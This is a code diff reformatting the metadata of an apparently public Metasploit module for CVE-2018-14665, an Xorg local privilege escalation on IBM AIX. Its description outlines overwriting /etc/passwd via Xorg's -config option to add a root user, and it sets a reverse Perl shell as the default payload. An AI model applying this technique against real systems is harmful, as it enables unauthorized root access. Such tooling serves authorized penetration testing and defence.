@@ -10,65 +10,67 @@ class MetasploitModule < Msf::Exploit::Local
1010 include Msf ::Exploit ::FileDropper
1111
1212 def initialize ( info = { } )
13- super ( update_info ( info ,
14- 'Name' => 'Xorg X11 Server Local Privilege Escalation' ,
15- 'Description' => %q(
16- WARNING: Successful execution of this module results in /etc/passwd being overwritten.
17-
18- This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
19-
20- A permission check flaw exists for -modulepath and -logfile options when
21- starting Xorg. This allows unprivileged users that can start the server
22- the ability to elevate privileges and run arbitrary code under root
23- privileges.
24-
25- This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
26- Due to permission restrictions of the crontab in AIX, this module does not use cron,
27- and instead overwrites /etc/passwd in order to create a new user with root privileges.
28- All currently logged in users need to be included when /etc/passwd is overwritten,
29- else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
30- The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
31- and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
32- overwriting /etc/passwd.
33- ) ,
34- 'Author' =>
35- [
13+ super (
14+ update_info (
15+ info ,
16+ 'Name' => 'Xorg X11 Server Local Privilege Escalation' ,
17+ 'Description' => %q{
18+ WARNING: Successful execution of this module results in /etc/passwd being overwritten.
19+
20+ This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
21+
22+ A permission check flaw exists for -modulepath and -logfile options when
23+ starting Xorg. This allows unprivileged users that can start the server
24+ the ability to elevate privileges and run arbitrary code under root
25+ privileges.
26+
27+ This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
28+ Due to permission restrictions of the crontab in AIX, this module does not use cron,
29+ and instead overwrites /etc/passwd in order to create a new user with root privileges.
30+ All currently logged in users need to be included when /etc/passwd is overwritten,
31+ else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
32+ The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
33+ and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
34+ overwriting /etc/passwd.
35+ } ,
36+ 'Author' => [
3637 'Narendra Shinde' , # Discovery and original FreeBSD exploit
3738 'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit
3839 ] ,
39- 'License' => MSF_LICENSE ,
40- 'DisclosureDate' => '2018-10-25' ,
41- 'Notes' =>
42- {
43- 'SideEffects' => [ CONFIG_CHANGES ]
40+ 'License' => MSF_LICENSE ,
41+ 'DisclosureDate' => '2018-10-25' ,
42+ 'Notes' => {
43+ 'SideEffects' => [ CONFIG_CHANGES , ARTIFACTS_ON_DISK ] ,
44+ 'Reliability' => [ UNRELIABLE_SESSION ] ,
45+ 'Stability' => [ CRASH_SERVICE_DOWN ]
4446 } ,
45- 'References' =>
46- [
47+ 'References' => [
4748 [ 'CVE' , '2018-14665' ] ,
4849 [ 'URL' , 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html' ] ,
4950 [ 'URL' , 'https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc' ] ,
5051 [ 'URL' , 'https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl' ] ,
5152 [ 'EDB' , '45938' ]
5253 ] ,
53- 'Platform' => [ 'unix' ] ,
54- 'Arch' => [ ARCH_CMD ] ,
55- 'SessionTypes' => [ 'shell' ] ,
56- 'Payload' => {
57- 'Compat' => {
58- 'PayloadType' => 'cmd' ,
59- 'RequiredCmd' => 'perl'
60- }
61- } ,
62- 'DefaultOptions' => {
63- 'Payload' => 'cmd/unix/reverse_perl'
64- } ,
65- 'Targets' =>
66- [
54+ 'Platform' => [ 'unix' ] ,
55+ 'Arch' => [ ARCH_CMD ] ,
56+ 'SessionTypes' => [ 'shell' ] ,
57+ 'Payload' => {
58+ 'Compat' => {
59+ 'PayloadType' => 'cmd' ,
60+ 'RequiredCmd' => 'perl'
61+ }
62+ } ,
63+ 'DefaultOptions' => {
64+ 'Payload' => 'cmd/unix/reverse_perl'
65+ } ,
66+ 'Targets' => [
6767 [ 'IBM AIX Version 6.1' , { } ] ,
6868 [ 'IBM AIX Version 7.1' , { } ] ,
6969 [ 'IBM AIX Version 7.2' , { } ]
7070 ] ,
71- 'DefaultTarget' => 1 ) )
71+ 'DefaultTarget' => 1
72+ )
73+ )
7274
7375 register_options (
7476 [
0 commit comments